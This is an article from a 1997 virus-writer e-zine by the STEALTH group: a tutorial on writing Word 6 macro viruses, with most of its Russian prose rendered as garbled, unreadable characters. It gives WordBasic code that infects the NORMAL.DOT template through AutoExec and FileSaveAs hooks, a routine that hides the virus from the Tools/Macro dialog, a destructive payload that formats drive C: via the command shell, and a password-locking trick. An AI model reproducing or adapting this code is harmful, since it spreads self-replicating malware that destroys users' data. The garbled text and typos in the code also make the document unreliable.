
                        
       Virus Magazine   Box 176, Kiev 210, Ukraine      IV  1997
            
                             
                                            
                                  
           
          (C) Copyright, 1994-97, by STEALTH group WorldWide, unLtd.


ਢ ,   騩   ⥬,  ⠥
 .  ⭮,  ᫥ ६ 讥 ࠭
稫 -,  ,  ᢥ  ࠧ 筨,
室  70  80 業⮢ ࠦ.   Internet,  ⪭
 , ॢ ன  । 襬 .
                                                            HellRaiser


                        ***************************
                        *    㪮⢮        *
                        * ᠭ -ᮢ *
                        *         1          *
                        ***************************
                        *                         *
                        *    -  DARK NIGHT   *
                        *           VBB         *
                        *       (C) 1996          *
                        ***************************




----------------
   ⢥⢥   , ᥭ   ᢥ-
 ᯮ짮 㡫 ਠ. ᪨ ࠢ   
 Dark Night  VBB.  ᢮ ࠭ ⮩  
᫮ ࠭ ᮤঠ  ࠩ.  ᫨  㢨 ஢,
 ⮫쪮 ᮤࠫ   ⮩   ,   ᠫ , 
  ண  (     ).

.
---------
  , 筮, ᭮ 㧭,  ⠪    ⠪ VBB.
VBB -   ⥩   㯯 ଥ஢.    ᪠, 
  祣    蠫.     ᨫ쭮 , 
⠭ ,    ⠭.     ⠥   
⥫쭮 㯯   .    , ⠩, 
 - ( 1)  ᫠ !.

.
---------------
-,  㤥 室 MS WORD ᨨ 6.0  , ஬ ⮣,
   ᥬ ᮢ ( AURODREPH  VBB) 
祭 ஢ ᮢ.    ᮧ १ࢭ 
蠡 NORMAL.DOT  ⠫ WINWORD6\TEMPLATE, ⠪    㬥
筮 ࠦ -ᮬ.   ᬮ.   ४ 
 ࠩ     WORD BASIC ⮡  , 
ந室. , .    ᤥ.  ᠬ ६ ३ 
᭮ -ᮢ.

 
--------------
設⢮ -ᮢ  ⨯ .  稭  -
믮塞 , ࠦ饣  蠡 Normal.dot. ஬ ⮣,
   ᥡ  ,  ࠦ 䠩  ।
⢨,  ਬ, FileSaveAs, FileSave, ToolsMacros. 㬥 ࠦ
७ᮬ ᮢ  㬥,  , ⠪ ࠧ,   믮 
⨨ ⮣ 㬥.   楤 ⮢믮  룫拉
ਬ୮ ⠪ :
' ᫥ ' - ਨ 

Sub MAIN
        On Error Goto Abort
        iMacroCount = CountMacros(0, 0)
        '஢ઠ  ࠦ
        For i = 1 To iMacroCount
                If MacroName$(i, 0, 0) = "PayLoad" Then
                        bInstalled = - 1
                '᪮  PayLoad
                End If
                If MacroName$(i, 0, 0) = "FileSaveAs" Then
                        bTooMuchTrouble = - 1
                ' ᫨   FileSaveAs,  ࠧ 殮
                End If
        Next i
        If Not bInstalled And Not bTooMuchTrouble Then
                '  FileSaveAs   AutoExec  FileSave
                'Payload ᯮ ⮫쪮  ஢ન  ࠦ
                ' ,1 -  ,   ⠥묨  Word
                iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
                sMe$ = FileName$()
                Macro$ = sMe$ + ":PayLoad"
                MacroCopy Macro$, "Global:PayLoad", 1
                Macro$ = sMe$ + ":FileOpen"
                MacroCopy Macro$, "Global:FileOpen", 1
                Macro$ = sMe$ + ":FileSaveAs"
                MacroCopy Macro$, "Global:FileSaveAs", 1
                Macro$ = sMe$ + ":AutoExec"
                MacroCopy Macro$, "Global:AutoExec", 1
                SetProfileString "WW6I", Str$(iWW6IInstance + 1)
        End If
Abort:
End Sub


楤 SaveAs
----------------
  -  ⨢ 㬥   ࠭ १
File/SaveAs.  ᯮ   宦 孮  楤ன AutoExec.
   ਢ .

' ᥣ  ᯮ짮 ,1 ᭮  ஢ ᮢ

Sub MAIN
Dim dlg As FileSaveAs
GetCurValues dlg
Dialog dlg
If (Dlg.Format = 0) Or (dlg.Format = 1) Then
        MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs"
        MacroCopy "FileSave ", WindowName$() + ":FileSave"
        MacroCopy "PayLoad", WindowName$() + ":PayLoad"
        MacroCopy "FileOpen", WindowName$() + ":FileOpen"
        Dlg.Format = 1
End If
FileDaveAs dlg
End Sub

⪮,  ⪮. ᥩ ⮩ ଠ樨,    , 筮
 ᮧ  -ᮢ.

 
---------------------
 ᪮쪮 ⮤,   ᯮ짮  ⮣, ⮡
 ᢮   ᤥ  䥪⨢. ਬ,  
ᮧ , 騩 ,  - ᬮ  Tools/Macro.  
룫拉,  ਬ, ⠪ :

Sub MAIN
        On Error Goto ErrorRoutine

        OldName$ = NomFichier$()

        If macros.bDebug Then
                MsgBox "start ToolsMacro"
                Dim dlg As OutilsMacro
                If macros.bDebug Then MsgBox "1"
                GetCurValues dlg
                If macros.bDebug Then MsgBox "2"
                On Error Goto Skip
                Dialog dlg
                OutilsMacro dlg
Skip:
        On Error Goto ErrorRoutine
        End If

        REM enable automacros
        DisableAutoMacros 0

        macros.SavToGlobal(OldName$)
        macros.objectiv
        Goto Done

ErrorRoutine:
        On Error Goto Done
        If macros.bDebug Then
                MsgBox "error " + Str$(Err) + " occurred"
        End If

Done:
End Sub

    譨 楤. ଥ,  Nuclear ⠥
⪮஢   譨 䠩-ࠧ稪 .  
᪨   ଠ஢    ⨨ 㬥.
ਬ   ᫮ ଠ஢ :

        sCmd$ = "echo y|format c: /u"
        Shell Environment$ ("COMSPEC") + "/c" + sCmd$, 0

     ஫ 㬥,   ࠧ, 
 訡  ᫨ ᥩ  13 ᥪ㭤.  ਬ :

Sub MAIN
On Error Goto ByeBye

.
. 'Infection code
.
.
.
\/

ByeBye:
If (second(Now()) = 13) Then
        Dlg.Password = "Dark_Night" '⠢ ஫ "DARK_NIGHT".
                                    '⠪  ⠭ 砩 ஫
                                    '   ᫥饬 ᪥ :-D

 
-----------
 ᭨   , 室  ⮣, ⮡  
-. ᫨  㡫 ਠ ਤ ⪫,   
த   㣫㡫㭭 ᪠  ࠧ  
 -ᮢ.

?
--------------
  , 㤥  - ᮢ  த, ⠪  ᫨ 
ᮢ ⨬,   ,    ࠤ த ᢮ ᪠
 -.
  :

Dark_Night@ilf.net

                                                Dark Night